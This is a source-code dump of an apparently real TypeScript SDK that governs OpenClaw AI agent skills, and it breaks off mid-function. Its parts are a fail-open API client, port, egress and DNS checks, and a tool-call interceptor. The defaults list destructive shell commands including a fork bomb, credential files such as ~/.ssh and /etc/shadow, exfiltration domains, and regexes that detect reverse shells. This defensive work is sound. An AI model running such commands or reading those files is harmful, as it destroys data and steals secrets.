      "import": "./dist/index.js",
      "require": "./dist/index.js"
    }
  },
  "files": [
    "dist/",
    "docs/",
    "README.md",
    "LICENSE"
  ],
  "keywords": [
    "tork",
    "governance",
    "openclaw",
    "mcp",
    "security",
    "pii",
    "ai-safety"
  ],
  "repository": {
    "type": "git",
    "url": "https://github.com/torkjacobs",
    "directory": "landing/packages/tork-guardian"
  },
  "bin": {
    "tork-scan": "dist/scanner/cli.js"
  },
  "scripts": {
    "test": "vitest run",
    "test:watch": "vitest",
    "test:coverage": "vitest run --coverage"
  },
  "permissions": {
    "env": ["TORK_API_KEY"],
    "network": ["https://tork.network/api/*", "https://api.github.com/*"]
  },
  "config": {
    "TORK_API_KEY": {
      "description": "API key for authenticating with the Tork governance API",
      "required": true
    }
  },
  "homepage": "https://tork.network",
  "license": "MIT",
  "dependencies": {
    "axios": "^1.7.0",
    "zod": "^3.23.0"
  },
  "devDependencies": {
    "vitest": "^4.0.18"
  }
}


path: vitest.config.ts
content: import { defineConfig } from 'vitest/config';

export default defineConfig({
  test: {
    globals: true,
    testTimeout: 10000,
  },
});


path: src/client.ts
content: /**
 * Tork Client — HTTP client for the Tork Governance API.
 *
 * Fail-open design: if the API is unreachable, requests are allowed
 * through so the skill is never blocked by a Tork outage.
 */

import axios, { AxiosInstance } from 'axios';
import { GovernOptions, GovernResponse } from './config';

export class TorkClient {
  private http: AxiosInstance;

  constructor([REDACTED_SECRET], baseUrl: string = 'https://tork.network') {
    this.http = axios.create({
      baseURL: baseUrl,
      timeout: 5000,
      headers: {
        'Content-Type': 'application/json',
        'Authorization': `Bearer ${apiKey}`,
        'X-Tork-SDK-Language': 'typescript',
        'X-Tork-Adapter': 'openclaw-guardian',
      },
    });
  }

  async govern(content: string, options?: GovernOptions): Promise<GovernResponse> {
    try {
      const { data } = await this.http.post<GovernResponse>('/api/v1/govern', {
        content,
        options,
      });
      return data;
    } catch (error: unknown) {
      // Fail-open: if Tork is unreachable, allow the request through
      console.warn(
        '[TorkGuardian] Governance API unreachable, failing open:',
        error instanceof Error ? error.message : error,
      );
      return {
        action: 'allow',
        output: content,
      };
    }
  }

  async redact(content: string): Promise<GovernResponse> {
    return this.govern(content, { mode: 'redact' });
  }
}


path: src/index.ts
content: /**
 * Tork Guardian — AI Governance SDK for OpenClaw Skills
 *
 * Provides PII redaction, tool call governance, network access control,
 * compliance receipts, and skill security scanning.
 */

import { TorkClient } from './client';
import { TorkConfig, TorkConfigSchema, GovernResponse, ToolCallDecision } from './config';
import { governLLMRequest, GovernedLLMRequest, LLMRequest } from './interceptors/llm';
import { governToolCall, ToolCall } from './interceptors/tool';
import { NetworkAccessHandler } from './handlers/network-access';

export class TorkGuardian {
  private client: TorkClient;
  private config: TorkConfig;
  private networkHandler: NetworkAccessHandler;

  constructor(config: Partial<TorkConfig> & { [REDACTED_SECRET] }) {
    this.config = TorkConfigSchema.parse(config);
    this.client = new TorkClient(this.config.apiKey, this.config.baseUrl);
    this.networkHandler = new NetworkAccessHandler(this.config, this.client);
  }

  async governLLM(request: LLMRequest): Promise<GovernedLLMRequest> {
    return governLLMRequest(this.client, request, this.config);
  }

  governTool(tool: ToolCall): ToolCallDecision {
    return governToolCall(tool, this.config);
  }

  async redactPII(content: string): Promise<GovernResponse> {
    return this.client.redact(content);
  }

  async generateReceipt(content: string): Promise<GovernResponse> {
    return this.client.govern(content);
  }

  getConfig(): Readonly<TorkConfig> {
    return { ...this.config };
  }

  getNetworkHandler(): NetworkAccessHandler {
    return this.networkHandler;
  }
}

// Standalone function exports
export async function redactPII([REDACTED_SECRET], content: string): Promise<GovernResponse> {
  const client = new TorkClient(apiKey);
  return client.redact(content);
}

export async function generateReceipt([REDACTED_SECRET], content: string): Promise<GovernResponse> {
  const client = new TorkClient(apiKey);
  return client.govern(content);
}

// Re-exports
export { governLLMRequest } from './interceptors/llm';
export { governToolCall } from './interceptors/tool';
export { NetworkAccessHandler, validatePortBind, validateEgress, validateDNS } from './handlers/network-access';

export type {
  TorkConfig,
  GovernOptions,
  GovernResponse,
  ToolCallDecision,
  NetworkPolicyConfig,
  NetworkDecision,
  NetworkActivityLog,
} from './config';
export type { LLMRequest, GovernedLLMRequest } from './interceptors/llm';
export type { ToolCall } from './interceptors/tool';

export { GovernanceDeniedError } from './interceptors/llm';
export { TorkClient } from './client';
export { DEFAULT_NETWORK_POLICY } from './policies/network-default';
export { STRICT_NETWORK_POLICY } from './policies/network-strict';
export { NetworkMonitor } from './utils/network-monitor';
export { MINIMAL_CONFIG, DEVELOPMENT_CONFIG, PRODUCTION_CONFIG, ENTERPRISE_CONFIG } from './examples';

// Scanner re-exports (source in dist/scanner/)
export { SkillScanner } from './scanner';
export { SCAN_RULES } from './scanner/rules';
export type { ScanFinding, ScanReport, ScanRule, Severity, Verdict } from './scanner/types';
export { generateBadge, generateBadgeMarkdown, generateBadgeJSON } from './scanner/badge';
export type { TorkBadge, BadgeTier } from './scanner/badge';
export { scanFromURL, scanFromSource, formatReportForAPI } from './scanner/api';
export type { APIReport, APIFinding } from './scanner/api';
export { ReportStore } from './scanner/report-store';


path: src/config.ts
content: /**
 * Tork Guardian — Configuration schema and shared types.
 *
 * Uses Zod for runtime validation of user-supplied config.
 * All governance modules import their types from here.
 */

import { z } from 'zod';

export const TorkConfigSchema = z.object({
  [REDACTED_SECRET]).min(1),
  baseUrl: z.string().url().default('https://tork.network'),
  policy: z.enum(['strict', 'standard', 'minimal']).default('standard'),
  redactPII: z.boolean().default(true),
  blockShellCommands: z.array(z.string()).default([
    'rm -rf',
    'mkfs',
    'dd if=',
    'chmod 777',
    ':(){:|:&};:',
    'shutdown',
    'reboot',
    'halt',
    'init 0',
    'init 6',
  ]),
  allowedPaths: z.array(z.string()).default([]),
  blockedPaths: z.array(z.string()).default([
    '/etc/shadow',
    '/etc/passwd',
    '~/.ssh',
    '~/.aws',
    '~/.env',
    '.env',
    '.env.local',
    'credentials.json',
    'id_rsa',
    'id_ed25519',
  ]),

  // Network policy configuration
  networkPolicy: z.enum(['default', 'strict', 'custom']).default('default'),
  allowedInboundPorts: z.array(z.number().int().min(0).max(65535)).optional(),
  allowedOutboundPorts: z.array(z.number().int().min(0).max(65535)).optional(),
  allowedDomains: z.array(z.string()).optional(),
  blockedDomains: z.array(z.string()).optional(),
  maxConnectionsPerMinute: z.number().int().min(1).optional(),
});

export type TorkConfig = z.infer<typeof TorkConfigSchema>;

export interface GovernOptions {
  mode?: 'detect' | 'redact' | 'deny';
}

export interface GovernResponse {
  action: 'allow' | 'redact' | 'deny';
  output: string;
  pii_detected?: { type: string; count: number }[];
  receipt?: {
    receipt_id: string;
    timestamp: string;
    policy_version: string;
  };
  usage?: {
    calls_used: number;
    calls_limit: number;
    calls_remaining: number;
  };
}

export interface ToolCallDecision {
  allowed: boolean;
  reason?: string;
  modified_args?: Record<string, unknown>;
}

export interface NetworkPolicyConfig {
  networkPolicy: 'default' | 'strict' | 'custom';
  allowedInboundPorts: number[];
  allowedOutboundPorts: number[];
  allowedDomains: string[];
  blockedDomains: string[];
  maxConnectionsPerMinute: number;
  detectPortHijacking: boolean;
  detectReverseShells: boolean;
  blockPrivilegedPorts: boolean;
  blockPrivateNetworks: boolean;
  logAllActivity: boolean;
}

export interface NetworkDecision {
  allowed: boolean;
  reason?: string;
}

export interface NetworkActivityLog {
  timestamp: string;
  skillId: string;
  action: string;
  allowed: boolean;
  reason: string;
}


path: src/handlers/network-access.ts
content: /**
 * Network Access Handler — Core network governance for OpenClaw skills.
 *
 * Validates port bindings, egress connections, and DNS lookups against
 * the active network policy. Detects port hijacking, SSRF attempts,
 * reverse shells, and raw IP C2 channels.
 */

import { TorkConfig, NetworkDecision, NetworkActivityLog } from '../config';
import { TorkClient } from '../client';
import { NetworkMonitor } from '../utils/network-monitor';
import { DEFAULT_NETWORK_POLICY } from '../policies/network-default';
import { STRICT_NETWORK_POLICY } from '../policies/network-strict';
import type { NetworkPolicyConfig } from '../config';

/** Resolve the active network policy from TorkConfig. */
function resolvePolicy(config: TorkConfig): NetworkPolicyConfig {
  if (config.networkPolicy === 'strict') return STRICT_NETWORK_POLICY;
  if (config.networkPolicy === 'default') return DEFAULT_NETWORK_POLICY;

  // 'custom' — merge user-supplied values over the default policy
  return {
    ...DEFAULT_NETWORK_POLICY,
    networkPolicy: 'custom' as const,
    ...(config.allowedInboundPorts && { allowedInboundPorts: config.allowedInboundPorts }),
    ...(config.allowedOutboundPorts && { allowedOutboundPorts: config.allowedOutboundPorts }),
    ...(config.allowedDomains && { allowedDomains: config.allowedDomains }),
    ...(config.blockedDomains && { blockedDomains: config.blockedDomains }),
    ...(config.maxConnectionsPerMinute !== undefined && { maxConnectionsPerMinute: config.maxConnectionsPerMinute }),
  };
}

// Private-network CIDRs (for SSRF prevention)
const PRIVATE_NETWORK_PATTERNS: RegExp[] = [
  /^127\./,
  /^10\./,
  /^172\.(1[6-9]|2\d|3[01])\./,
  /^192\.168\./,
  /^169\.254\./,
  /^0\./,
  /^::1$/,
  /^fc00:/i,
  /^fe80:/i,
  /^localhost$/i,
];

function isPrivateNetwork(host: string): boolean {
  return PRIVATE_NETWORK_PATTERNS.some((p) => p.test(host));
}

function isRawIP(host: string): boolean {
  return /^\d{1,3}(\.\d{1,3}){3}$/.test(host) || /^[0-9a-f:]+$/i.test(host);
}

export class NetworkAccessHandler {
  private policy: NetworkPolicyConfig;
  private monitor: NetworkMonitor;
  private client: TorkClient | null;
  private activityLog: NetworkActivityLog[] = [];

  constructor(config: TorkConfig, client?: TorkClient) {
    this.policy = resolvePolicy(config);
    this.monitor = new NetworkMonitor();
    this.client = client ?? null;
  }

  getMonitor(): NetworkMonitor {
    return this.monitor;
  }

  // ── Port binding governance ──────────────────────────────────

  validatePortBind(skillId: string, port: number, protocol: 'tcp' | 'udp' = 'tcp'): NetworkDecision {
    // Block privileged ports
    if (this.policy.blockPrivilegedPorts && port < 1024) {
      return this.deny(skillId, 'port_bind', `Privileged port ${port} is blocked (< 1024)`);
    }

    // Check allowlist
    if (!this.policy.allowedInboundPorts.includes(port)) {
      return this.deny(skillId, 'port_bind', `Port ${port} is not in the inbound allowlist`);
    }

    // Port hijacking detection
    if (this.policy.detectPortHijacking) {
      const existing = this.monitor.getPortOwner(port);
      if (existing && existing.skillId !== skillId) {
        const msg = `Port hijacking detected: port ${port} is owned by skill "${existing.skillId}", attempted by "${skillId}"`;
        this.reportThreat(skillId, 'port_hijacking', msg);
        return this.deny(skillId, 'port_bind', msg);
      }
    }

    // Register the binding
    this.monitor.registerPort(port, protocol, skillId);
    return this.allow(skillId, 'port_bind', `Port ${port}/${protocol} bound`);
  }

  // ── Egress governance ────────────────────────────────────────

  validateEgress(skillId: string, host: string, port: number): NetworkDecision {
    // SSRF prevention — block private networks
    if (this.policy.blockPrivateNetworks && isPrivateNetwork(host)) {
      return this.deny(skillId, 'egress', `Private network access blocked: ${host}`);
    }

    // Outbound port allowlist
    if (!this.policy.allowedOutboundPorts.includes(port)) {
      return this.deny(skillId, 'egress', `Outbound port ${port} is not allowed`);
    }

    // Domain blocklist
    if (this.policy.blockedDomains.length > 0) {
      const blocked = this.policy.blockedDomains.some(
        (d) => host === d || host.endsWith(`.${d}`),
      );
      if (blocked) {
        return this.deny(skillId, 'egress', `Domain "${host}" is blocked`);
      }
    }

    // Domain allowlist (only enforced when non-empty)
    if (this.policy.allowedDomains.length > 0) {
      const allowed = this.policy.allowedDomains.some(
        (d) => host === d || host.endsWith(`.${d}`),
      );
      if (!allowed) {
        return this.deny(skillId, 'egress', `Domain "${host}" is not in the allowlist`);
      }
    }

    // Reverse-shell detection: check recent shell activity
    if (this.policy.detectReverseShells) {
      const shellCheck = this.monitor.checkRecentShellActivity(skillId);
      if (shellCheck.suspicious) {
        const msg = `Reverse shell pattern detected for skill "${skillId}" during egress to ${host}:${port}`;
        this.reportThreat(skillId, 'reverse_shell', msg);
        return this.deny(skillId, 'egress', msg);
      }
    }

    // Rate limiting
    const currentRate = this.monitor.getConnectionsPerMinute(skillId);
    if (currentRate >= this.policy.maxConnectionsPerMinute) {
      return this.deny(
        skillId,
        'egress',
        `Rate limit exceeded: ${currentRate}/${this.policy.maxConnectionsPerMinute} connections/min`,
      );
    }

    // Record the connection
    this.monitor.recordConnection(host, port, skillId);
    return this.allow(skillId, 'egress', `Egress to ${host}:${port} allowed`);
  }

  // ── DNS governance ───────────────────────────────────────────

  validateDNS(skillId: string, hostname: string): NetworkDecision {
    // Flag raw IP usage
    if (isRawIP(hostname)) {
      const decision = this.deny(
        skillId,
        'dns',
        `Raw IP address "${hostname}" used instead of hostname — potential SSRF or C2 channel`,
      );
      this.reportThreat(skillId, 'raw_ip_usage', decision.reason!);
      return decision;
    }

    // Domain blocklist
    if (this.policy.blockedDomains.length > 0) {
      const blocked = this.policy.blockedDomains.some(
        (d) => hostname === d || hostname.endsWith(`.${d}`),
      );
      if (blocked) {
        return this.deny(skillId, 'dns', `DNS lookup for blocked domain: ${hostname}`);
      }
    }

    // Domain allowlist
    if (this.policy.allowedDomains.length > 0) {
      const allowed = this.policy.allowedDomains.some(
        (d) => hostname === d || hostname.endsWith(`.${d}`),
      );
      if (!allowed) {
        return this.deny(skillId, 'dns', `DNS lookup for domain not in allowlist: ${hostname}`);
      }
    }

    return this.allow(skillId, 'dns', `DNS lookup for ${hostname} allowed`);
  }

  // ── Activity log & reporting ─────────────────────────────────

  getActivityLog(): ReadonlyArray<NetworkActivityLog> {
    return this.activityLog;
  }

  clearActivityLog(): void {
    this.activityLog = [];
  }

  // ── Private helpers ──────────────────────────────────────────

  private allow(skillId: string, action: string, reason: string): NetworkDecision {
    const entry: NetworkActivityLog = {
      timestamp: new Date().toISOString(),
      skillId,
      action,
      allowed: true,
      reason,
    };
    if (this.policy.logAllActivity) {
      this.activityLog.push(entry);
    }
    return { allowed: true, reason };
  }

  private deny(skillId: string, action: string, reason: string): NetworkDecision {
    const entry: NetworkActivityLog = {
      timestamp: new Date().toISOString(),
      skillId,
      action,
      allowed: false,
      reason,
    };
    this.activityLog.push(entry); // always log denials
    return { allowed: false, reason };
  }

  private reportThreat(skillId: string, type: string, detail: string): void {
    if (!this.client) return;
    // Fire-and-forget threat report to Tork Cloud
    this.client
      .govern(`[THREAT] skill=${skillId} type=${type} detail=${detail}`)
      .catch(() => {
        /* best-effort */
      });
  }
}

// ── Standalone convenience functions ─────────────────────────────

export function validatePortBind(
  config: TorkConfig,
  skillId: string,
  port: number,
  protocol: 'tcp' | 'udp' = 'tcp',
): NetworkDecision {
  const handler = new NetworkAccessHandler(config);
  return handler.validatePortBind(skillId, port, protocol);
}

export function validateEgress(
  config: TorkConfig,
  skillId: string,
  host: string,
  port: number,
): NetworkDecision {
  const handler = new NetworkAccessHandler(config);
  return handler.validateEgress(skillId, host, port);
}

export function validateDNS(
  config: TorkConfig,
  skillId: string,
  hostname: string,
): NetworkDecision {
  const handler = new NetworkAccessHandler(config);
  return handler.validateDNS(skillId, hostname);
}


path: src/scanner/api.ts
content: /**
 * Tork Guardian — Scanner API helpers.
 *
 * Provides scanFromURL (fetches via HTTPS — no git/shell), scanFromSource
 * (writes temp files), and formatReportForAPI (strips local paths).
 */

import * as fs from 'fs';
import * as path from 'path';
import * as os from 'os';
import axios from 'axios';
import { SkillScanner } from './index';

const scanner = new SkillScanner();

// File extensions worth scanning
const SCAN_EXTENSIONS = new Set([
  '.js', '.ts', '.jsx', '.tsx', '.mjs', '.cjs',
  '.json', '.yaml', '.yml', '.toml',
]);

// Max files to download per repo (rate-limit guard)
const MAX_FILES = 200;
// Max individual file size in bytes
const MAX_FILE_SIZE = 500_000;

/**
 * Fetch a public GitHub repository over HTTPS and scan it.
 *
 * Uses the GitHub REST API (trees + raw contents) — no git clone,
 * no child_process, no shell commands.
 */
export async function scanFromURL(url: string) {
  // Strict validation: only GitHub HTTPS URLs
  const match = url.match(
    /^https?:\/\/github\.com\/([A-Za-z0-9_.-]+)\/([A-Za-z0-9_.-]+?)(?:\.git)?$/,
  );
  if (!match) {
    throw new Error(
      'Only GitHub HTTPS URLs are supported (e.g. https://github.com/owner/repo)',
    );
  }
  const [, owner, repo] = match;

  // 1. Fetch the default-branch tree recursively
  const { data: tree } = await axios.get(
    `https://api.github.com/repos/${owner}/${repo}/git/trees/HEAD?recursive=1`,
    { headers: { Accept: 'application/vnd.github.v3+json' }, timeout: 30_000 },
  );

  // 2. Filter to scannable source files
  const blobs = (tree.tree as Array<{ path: string; type: string; size: number }>)
    .filter(
      (entry) =>
        entry.type === 'blob' &&
        entry.size < MAX_FILE_SIZE &&
        SCAN_EXTENSIONS.has(path.extname(entry.path)),
    )
    .slice(0, MAX_FILES);

  // 3. Download each file via the raw-content endpoint
  const files: Record<string, string> = {};
  for (const blob of blobs) {
    try {
      const contentUrl = `https://api.github.com/repos/${owner}/${repo}/contents/${blob.path
        .split('/')
        .map(encodeURIComponent)
        .join('/')}`;
      const { data } = await axios.get(contentUrl, {
        headers: { Accept: 'application/vnd.github.v3.raw' },
        timeout: 10_000,
        responseType: 'text',
      });
      files[blob.path] = typeof data === 'string' ? data : String(data);
    } catch {
      // Skip files that can't be fetched (binary, permissions, etc.)
    }
  }

  return scanFromSource(files, repo);
}

/**
 * Scan source code provided as a map of filename -> content strings.
 * Writes files to a temp directory, scans, and cleans up.
 */
export async function scanFromSource(
  files: Record<string, string>,
  skillName?: string,
) {
  const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'tork-scan-src-'));
  try {
    for (const [filename, content] of Object.entries(files)) {
      const filePath = path.join(tmpDir, filename);
      const dir = path.dirname(filePath);
      fs.mkdirSync(dir, { recursive: true });
      fs.writeFileSync(filePath, content);
    }
    const report = await scanner.scanSkill(tmpDir);
    if (skillName) {
      report.skillName = skillName;
    }
    return report;
  } finally {
    fs.rmSync(tmpDir, { recursive: true, force: true });
  }
}

/**
 * Strip absolute file paths from findings for public API responses.
 */
export function formatReportForAPI(report: ReturnType<typeof Object>) {
  return {
    skillName: (report as any).skillName,
    scannedAt: (report as any).scannedAt,
    filesScanned: (report as any).filesScanned,
    totalFindings: (report as any).totalFindings,
    findings: ((report as any).findings || []).map(stripFilePath),
    riskScore: (report as any).riskScore,
    verdict: (report as any).verdict,
    scanDurationMs: (report as any).scanDurationMs,
  };
}

function stripFilePath(finding: Record<string, unknown>) {
  return {
    ruleId: finding.ruleId,
    ruleName: finding.ruleName,
    severity: finding.severity,
    line: finding.line,
    column: finding.column,
    snippet: finding.snippet,
    description: finding.description,
    remediation: finding.remediation,
  };
}


path: src/examples/production.ts
content: /** Production config — standard policies, blocked domains, all detection on. */
export const PRODUCTION_CONFIG = {
  [REDACTED_SECRET] || 'REPLACE_ME',
  policy: 'standard' as const,
  redactPII: true,
  networkPolicy: 'default' as const,
  blockedDomains: [
    'pastebin.com',
    'requestbin.com',
    'ngrok.io',
    'burpcollaborator.net',
    'interact.sh',
    'oastify.com',
    'webhook.site',
  ],
};


path: src/examples/enterprise.ts
content: /** Enterprise lockdown — strict network, explicit domain allowlist, tight rate limits. */
export const ENTERPRISE_CONFIG = {
  [REDACTED_SECRET] || 'REPLACE_ME',
  policy: 'strict' as const,
  redactPII: true,
  networkPolicy: 'strict' as const,
  allowedDomains: [
    'api.openai.com',
    'api.anthropic.com',
    'tork.network',
    'tork.network',
    'api.tork.network',
  ],
  maxConnectionsPerMinute: 20,
};


path: src/examples/minimal.ts
content: /** Bare minimum config — just an API key, everything else defaults. */
export const MINIMAL_CONFIG = {
  [REDACTED_SECRET] || 'REPLACE_ME',
};


path: src/examples/development.ts
content: /** Dev-friendly config — permissive policies, full logging. */
export const DEVELOPMENT_CONFIG = {
  [REDACTED_SECRET] || 'REPLACE_ME',
  policy: 'minimal' as const,
  redactPII: true,
  networkPolicy: 'default' as const,
};


path: src/examples/index.ts
content: export { MINIMAL_CONFIG } from './minimal';
export { DEVELOPMENT_CONFIG } from './development';
export { PRODUCTION_CONFIG } from './production';
export { ENTERPRISE_CONFIG } from './enterprise';


path: src/policies/network-strict.ts
content: /**
 * Strict Network Policy — Enterprise lockdown for high-security environments.
 *
 * Minimal inbound ports (3000-3010), TLS-only outbound (443),
 * explicit domain allowlist, and tight rate limiting.
 */

import { NetworkPolicyConfig } from '../config';

// Generate port ranges
function range(start: number, end: number): number[] {
  const ports: number[] = [];
  for (let i = start; i <= end; i++) {
    ports.push(i);
  }
  return ports;
}

export const STRICT_NETWORK_POLICY: NetworkPolicyConfig = {
  networkPolicy: 'strict',
  allowedInboundPorts: range(3000, 3010),
  allowedOutboundPorts: [443],          // TLS only
  allowedDomains: [
    'api.openai.com',
    'api.anthropic.com',
    'tork.network',
    'tork.network',
    'api.tork.network',
    'registry.npmjs.org',
    'github.com',
    'api.github.com',
  ],
  blockedDomains: [],
  maxConnectionsPerMinute: 20,          // Tight limit
  detectPortHijacking: true,
  detectReverseShells: true,
  blockPrivilegedPorts: true,
  blockPrivateNetworks: true,
  logAllActivity: true,
};


path: src/policies/network-default.ts
content: /**
 * Default Network Policy — Balanced security for standard OpenClaw skill usage.
 *
 * Allows common development ports (3000-3999, 8000-8999) inbound,
 * standard web ports (80, 443, 8080) outbound, with all detection enabled.
 */

import { NetworkPolicyConfig } from '../config';

// Generate port ranges
function range(start: number, end: number): number[] {
  const ports: number[] = [];
  for (let i = start; i <= end; i++) {
    ports.push(i);
  }
  return ports;
}

export const DEFAULT_NETWORK_POLICY: NetworkPolicyConfig = {
  networkPolicy: 'default',
  allowedInboundPorts: [...range(3000, 3999), ...range(8000, 8999)],
  allowedOutboundPorts: [80, 443, 8080],
  allowedDomains: [],           // No domain restriction (all allowed)
  blockedDomains: [],
  maxConnectionsPerMinute: 60,
  detectPortHijacking: true,
  detectReverseShells: true,
  blockPrivilegedPorts: true,
  blockPrivateNetworks: true,
  logAllActivity: true,
};


path: src/utils/network-monitor.ts
content: /**
 * Network Monitor — Port state tracking utility for Tork Guardian
 *
 * Tracks port bindings, outbound connections, and shell commands.
 * Detects reverse shell patterns and anomalous network activity.
 */

export interface PortBinding {
  port: number;
  protocol: 'tcp' | 'udp';
  skillId: string;
  boundAt: number;
}

export interface ConnectionRecord {
  host: string;
  port: number;
  skillId: string;
  timestamp: number;
}

export interface ShellRecord {
  command: string;
  skillId: string;
  timestamp: number;
}

export interface NetworkReport {
  timestamp: string;
  activePorts: PortBinding[];
  recentConnections: ConnectionRecord[];
  recentShellCommands: ShellRecord[];
  connectionRatePerMinute: number;
  anomalies: string[];
}

// Reverse shell detection patterns
const REVERSE_SHELL_PATTERNS: RegExp[] = [
  /bash\s+-i\s+.*\/dev\/tcp/i,
  /nc\s+(-e|-c)\s/i,
  /ncat\s+(-e|-c)\s/i,
  /socat\s+.*exec/i,
  /python.*socket.*connect/i,
  /perl.*socket.*connect/i,
  /ruby.*TCPSocket/i,
  /php.*fsockopen/i,
  /powershell.*New-Object\s+Net\.Sockets/i,
  /mkfifo.*nc\s/i,
  /\/dev\/tcp\//i,
];

// Data retention window (5 minutes)
const RETENTION_MS = 5 * 60 * 1000;

export class NetworkMonitor {
  private startupPorts: Set<number> = new Set();
  private portBindings: Map<number, PortBinding> = new Map();
  private connections: ConnectionRecord[] = [];
  private shellCommands: ShellRecord[] = [];

  /**
   * Snapshot active ports at startup for baseline comparison.
   * Ports appearing later that weren't in the snapshot are flagged as anomalies.
   */
  snapshotStartupPorts(ports: number[]): void {
    this.startupPorts = new Set(ports);
  }

  getStartupPorts(): ReadonlySet<number> {
    return this.startupPorts;
  }

  /**
   * Register a port binding for a skill.
   */
  registerPort(port: number, protocol: 'tcp' | 'udp', skillId: string): void {
    this.portBindings.set(port, {
      port,
      protocol,
      skillId,
      boundAt: Date.now(),
    });
  }

  /**
   * Unregister a port binding.
   */
  unregisterPort(port: number): void {
    this.portBindings.delete(port);
  }

  /**
   * Get the current owner of a port.
   */
  getPortOwner(port: number): PortBinding | undefined {
    return this.portBindings.get(port);
  }

  /**
   * Get all currently active port bindings.
   */
  getActivePorts(): PortBinding[] {
    return Array.from(this.portBindings.values());
  }

  /**
   * Record an outbound connection for rate tracking.
   */
  recordConnection(host: string, port: number, skillId: string): void {
    this.pruneOldRecords();
    this.connections.push({
      host,
      port,
      skillId,
      timestamp: Date.now(),
    });
  }

  /**
   * Get the outbound connection rate (connections per minute).
   * Optionally filter by skillId.
   */
  getConnectionsPerMinute(skillId?: string): number {
    const oneMinuteAgo = Date.now() - 60_000;
    const recent = this.connections.filter(
      (c) => c.timestamp > oneMinuteAgo && (!skillId || c.skillId === skillId)
    );
    return recent.length;
  }

  /**
   * Record a shell command execution for reverse shell detection.
   */
  recordShellCommand(command: string, skillId: string): void {
    this.pruneOldRecords();
    this.shellCommands.push({
      command,
      skillId,
      timestamp: Date.now(),
    });
  }

  /**
   * Check recent shell activity for reverse shell patterns.
   * Returns whether suspicious activity was detected and the matching patterns.
   */
  checkRecentShellActivity(skillId?: string): { suspicious: boolean; matches: string[] } {
    const oneMinuteAgo = Date.now() - 60_000;
    const recent = this.shellCommands.filter(
      (s) => s.timestamp > oneMinuteAgo && (!skillId || s.skillId === skillId)
    );

    const matches: string[] = [];
    for (const record of recent) {
      for (const pattern of REVERSE_SHELL_PATTERNS) {
        if (pattern.test(record.command)) {
          matches.push(record.command);
          break;
        }
      }
    }

    return {
      suspicious: matches.length > 0,
      matches,
    };
  }

  /**
   * Generate a comprehensive network report for compliance.
   */
  getNetworkReport(): NetworkReport {
    this.pruneOldRecords();

    const anomalies: string[] = [];

    // Check for ports opened after startup
    for (const binding of this.portBindings.values()) {
      if (!this.startupPorts.has(binding.port)) {
        anomalies.push(
          `Port ${binding.port} opened after startup by skill ${binding.skillId}`
        );
      }
    }

    // Check for high connection rate
    const rate = this.getConnectionsPerMinute();
    if (rate > 100) {
      anomalies.push(`High connection rate: ${rate} connections/min`);
    }

    // Check for reverse shell patterns
    const shellCheck = this.checkRecentShellActivity();
    if (shellCheck.suspicious) {
      anomalies.push(
        `Reverse shell patterns detected: ${shellCheck.matches.length} suspicious commands`
      );
    }

    return {
      timestamp: new Date().toISOString(),
      activePorts: this.getActivePorts(),
      recentConnections: [...this.connections],
      recentShellCommands: [...this.shellCommands],
      connectionRatePerMinute: rate,
      anomalies,
    };
  }

  /**
   * Reset all tracked state.
   */
  reset(): void {
    this.startupPorts.clear();
    this.portBindings.clear();
    this.connections = [];
    this.shellCommands = [];
  }

  /**
   * Remove records older than the retention window.
   */
  private pruneOldRecords(): void {
    const cutoff = Date.now() - RETENTION_MS;
    this.connections = this.connections.filter((c) => c.timestamp > cutoff);
    this.shellCommands = this.shellCommands.filter((s) => s.timestamp > cutoff);
  }
}


path: src/interceptors/tool.ts
content: /**
 * Tool Call Interceptor — Governs tool invocations by OpenClaw skills.
 *
 * Checks shell commands against blocklists, validates file paths
 * against allowed/blocked lists, and restricts network requests
 * under strict policy.
 */

import { TorkConfig, ToolCallDecision } from '../config';

export interface ToolCall {
  name: string;
  args: Record<string, unknown>;
}

const DANGEROUS_TOOLS = new Set([
  'shell_execute',
  'bash',
  'terminal',
  'file_write',
  'file_delete',
  'file_overwrite',
  'network_request',
  'http_request',
]);

export function governToolCall(tool: ToolCall, config: TorkConfig): ToolCallDecision {
  // Minimal policy: allow everything
  if (config.policy === 'minimal') {
    return { allowed: true };
  }

  // Check shell commands
  if (isShellTool(tool.name)) {
    return governShellCommand(tool, config);
  }

  // Check file operations
  if (isFileTool(tool.name)) {
    return governFileAccess(tool, config);
  }

  // Check network requests
  if (isNetworkTool(tool.name)) {
    return governNetworkRequest(tool, config);
  }

  return { allowed: true };
}

function isShellTool(name: string): boolean {
  return ['shell_execute', 'bash', 'terminal'].includes(name);
}

function isFileTool(name: string): boolean {
  return ['file_write', 'file_delete', 'file_overwrite', 'file_read'].includes(name);
}

function isNetworkTool(name: string): boolean {
  return ['network_request', 'http_request'].includes(name);
}

function governShellCommand(tool: ToolCall, config: TorkConfig): ToolCallDecision {
  const command = String(tool.args.command || tool.args.cmd || '');

  for (const blocked of config.blockShellCommands) {
    if (command.includes(blocked)) {
      return {
        allowed: false,
        reason: `Blocked shell command pattern: "${blocked}"`,
      };
    }
  }

  // Strict policy: block all shell commands not explicitly allowed
  if (config.policy === 'strict') {
    return {
      allowed: false,
      reason: 'Strict policy blocks all shell commands. Use standard or minimal policy to allow.',
    };
  }

  return { allowed: true };
}

function governFileAccess(tool: ToolCall, config: TorkConfig): ToolCallDecision {
  const path = String(tool.args.path || tool.args.file_path || '');

  // Check blocked paths
  for (const blocked of config.blockedPaths) {
    if (path.includes(blocked)) {
      return {
        allowed: false,
        reason: `Access to "${blocked}" is blocked by policy`,
      };
    }
  }

  // If allowedPaths is set, enforce whitelist
  if (config.allowedPaths.length > 0) {
    const isAllowed = config.allowedPaths.some((allowed) => path.startsWith(allowed));
    if (!isAllowed) {
      return {
        allowed: false,
        reason: `Path "${path}" is not in the allowed paths list`,
      };
    }
  }

  return { allowed: true };
}

function governNetworkRequest(tool: ToolCall, config: TorkConfig): ToolCallDecision {
  // Strict policy: block all network requests
  if (config.policy === 'strict') {
    return {
      allowed: false,
      reason: 'Strict policy blocks network requests from tools',
    };
  }

  return { allowed: true };
}


path: src/interceptors/llm.ts
content: /**
 * LLM Request Interceptor — Governs LLM API calls by scanning
 * message content for PII and enforcing redaction/denial policy.
 */

import { TorkClient } from '../client';
import { GovernResponse, TorkConfig } from '../config';

export interface LLMRequest {
  messages: { role: string; content: string }[];
  model?: string;
  [key: string]: unknown;
}

export interface GovernedLLMRequest {
  request: LLMRequest;
  governed: boolean;
  receipts: string[];
  pii_found: boolean;
}

export async function governLLMRequest(
  client: TorkClient,
  request: LLMRequest,
  config: TorkConfig,
